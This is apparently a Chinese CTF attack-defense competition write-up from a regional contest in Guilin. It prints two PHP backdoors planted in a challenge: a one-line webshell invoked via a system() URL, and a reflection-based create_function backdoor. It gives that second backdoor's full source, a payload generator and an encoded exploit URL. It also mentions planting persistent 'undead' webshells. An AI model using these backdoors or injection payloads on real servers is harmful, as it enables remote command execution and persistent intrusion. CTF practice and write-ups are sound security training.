Last updated on September 27, 2024 am
国赛华南分区赛——桂林之旅
拿了个二等奖,国赛就到这了,还是太菜了
除了前面利用ssh抢先拿了几个flag,然后利用后门收了一波,后面由于没有做权限维持,其他队伍又修了洞就开始掉分了,还好最后pwn手解出来了挽回一些分数冲了二等。由于环境出了问题,本来10点应该开始的比赛等到12点多才开始,而且比赛没有延时,也就是从6个小时变成了4个小时。题目web的java和pwn裁判说出题人权限没设好导致基本没办法fix,只能攻不能守。java题居然是初赛原题,可惜初赛java没来得及看,java很久才和本地打通,但这个时候已经被人搅屎了,全场的java主机ssh都被定时断开失联,导致java还没利用到就结束了。不过也让我们后面免受其他队的挨打,只受到一两个队的挨打。
这次的php题目是预留了两个后门,一个是一句话木马,一个是通过反射调用create_function来执行命令
访问后门的很简单,D盾就能扫出来,很多队都修了,剩下几个没修的
1
| /Home/template/default/adminpanel.php?backdoor=system("cat /flag.txt");
|
另一个后门就比较难发现,当时也是没发现,然后被人利用后种了不死马
赛后复现发现其实利用也很简单,当时要是仔细审代码也许能够发现这个后门,都把时间花在java上了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| <?php
set_time_limit(300);
class go {
public $pass = "command";
public function run(){ if($this->checkPass()){ $param = $this->parser($this->getData()->data); if($param){ $instance = new TLKNQWFlogin(); $reflectionClass = new ReflectionClass('TLKNQWFlogin'); $reflectionProperty = $reflectionClass->getProperty($instance->func); $reflectionProperty->setAccessible(true); $command = $reflectionProperty->getValue($instance); $reflectionMethod = new ReflectionFunction($command); $result = $reflectionMethod->invoke($param,"_"); echo $result; }else{ echo "parser is wrong!"; } }else{ echo "pass is wrong!"; } } public function checkPass(){ if(isset($_REQUEST[$this->pass])){ return true; } return false; } public function getData(){ $this->data = $_REQUEST[$this->pass]; return $this; } public function parser($param){ $data = base64_decode($param); $key = substr($data,0,strlen($this->pass)); if ($key == $this->pass){ $data = substr_replace($data,'',0,strlen($this->pass)); $this->data = base64_decode($data); return base64_decode($data); }else{ return false; } } } function calc($password,$func){ $functions = $func('$a', "echo $password"); $functions(''); return "Command"; } class TLKNQWFlogin { private $command; public $func = "command"; public function __construct() { $this->command = function ($param,$magic) { return calc($param.'exit();',"create".$magic."function") ; }; } }
$a = new go(); $a->run();
|
1 2 3 4 5 6 7 8
| <?php
$command="1;}system('whoami');/*"; $command=base64_encode($command); $str="command".$command; echo base64_encode($str);
?>
|
1
| http://localhost/html/A/t/tpl/common/Command.php?command=Y29tbWFuZE1UdDljM2x6ZEdWdEtDZDNhRzloYldrbktUc3ZLZz09
|
这里直接访问是因为admin.php的路由里面写了/A/t/tpl
下面是静态文件,
1 2
| //定义静态文件路径 define('Tpl_style','/A/t/tpl');
|
静态文件是可以直接通过路径访问到的
此次比赛深刻教训:要去学学怎么种不死马维持权限, 不然只能拿到前面几轮的flag后面基本就只有挨打的份了。